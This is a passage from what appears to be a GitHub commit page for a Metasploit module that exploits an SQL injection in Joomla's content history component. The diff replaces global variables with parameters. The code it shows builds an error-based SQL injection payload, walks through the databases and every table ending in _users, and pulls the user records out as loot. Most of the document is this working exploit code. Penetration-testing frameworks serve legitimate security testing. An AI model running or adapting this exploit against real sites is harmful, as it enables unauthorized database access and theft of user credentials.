Skip to content

Commit c7fe014

Browse files
committed
remove global variables
1 parent 8b4f229 commit c7fe014

File tree

1 file changed

+23
-23
lines changed

1 file changed

+23
-23
lines changed

modules/auxiliary/gather/joomla_contenthistory_sqli.rb

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -60,29 +60,29 @@ def check
6060

6161
end
6262

63-
def request(query)
64-
query = "#{$payload}" % query
63+
def request(query, payload, lmark, rmark)
64+
query = "#{payload}" % query
6565
res = sqli(query)
6666

6767
# Error based SQL Injection
68-
if res && res.code == 500 && res.body =~ /#{$lmark}(.*)#{$rmark}/
68+
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
6969
$1
7070
end
7171
end
7272

73-
def query_databases
73+
def query_databases(payload, lmark, rmark)
7474
dbs = []
7575

7676
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
7777
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
7878

79-
dbc = request(query)
79+
dbc = request(query, payload, lmark, rmark)
8080

8181
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
8282
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
8383

8484
0.upto(dbc.to_i - 1) do |i|
85-
dbname = request(query_fmt % i)
85+
dbname = request(query_fmt % i, payload, lmark, rmark)
8686
dbs << dbname
8787
vprint_good(dbname)
8888
end
@@ -93,14 +93,14 @@ def query_databases
9393
dbs
9494
end
9595

96-
def query_tables(database)
96+
def query_tables(database, payload, lmark, rmark)
9797
tbs = []
9898

9999
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
100100
query << 'FROM INFORMATION_SCHEMA.TABLES '
101101
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
102102

103-
tbc = request(query)
103+
tbc = request(query, payload, lmark, rmark)
104104

105105
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
106106
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
@@ -109,18 +109,18 @@ def query_tables(database)
109109

110110
vprint_status('tables in database: %s' % database)
111111
0.upto(tbc.to_i - 1) do |i|
112-
tbname = request(query_fmt % i)
112+
tbname = request(query_fmt % i, payload, lmark, rmark)
113113
vprint_good(tbname)
114114
tbs << tbname if tbname =~ /_users$/
115115
end
116116
tbs
117117
end
118118

119-
def query_columns(database, table)
119+
def query_columns(database, table, payload, lmark, rmark)
120120
cols = []
121121
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
122122

123-
colc = request(query)
123+
colc = request(query, payload, lmark, rmark)
124124
vprint_status(colc)
125125

126126
valid_cols = [ # joomla_users
@@ -151,7 +151,7 @@ def query_columns(database, table)
151151
l = 1
152152
record[col] = ''
153153
loop do
154-
value = request(query_fmt % [col, l, i])
154+
value = request(query_fmt % [col, l, i], payload, lmark, rmark)
155155
break if value.blank?
156156
record[col] << value
157157
l += 54
@@ -164,21 +164,21 @@ def query_columns(database, table)
164164
end
165165

166166
def run
167-
$lmark = Rex::Text.rand_text_alpha(5)
168-
$rmark = Rex::Text.rand_text_alpha(5)
167+
lmark = Rex::Text.rand_text_alpha(5)
168+
rmark = Rex::Text.rand_text_alpha(5)
169169

170-
$payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
171-
$payload << "0x#{$lmark.unpack('H*')[0]},"
172-
$payload << '%s,'
173-
$payload << "0x#{$rmark.unpack('H*')[0]},"
174-
$payload << 'FLOOR(RAND(0)*2)'
175-
$payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
170+
payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
171+
payload << "0x#{lmark.unpack('H*')[0]},"
172+
payload << '%s,'
173+
payload << "0x#{rmark.unpack('H*')[0]},"
174+
payload << 'FLOOR(RAND(0)*2)'
175+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
176176

177-
dbs = query_databases
177+
dbs = query_databases(payload, lmark, rmark)
178178
dbs.each do |db|
179-
tables = query_tables(db)
179+
tables = query_tables(db, payload, lmark, rmark)
180180
tables.each do |table|
181-
cols = query_columns(db, table)
181+
cols = query_columns(db, table, payload, lmark, rmark)
182182
next if cols.blank?
183183
path = store_loot(
184184
'joomla.users',

0 commit comments

Comments
 (0)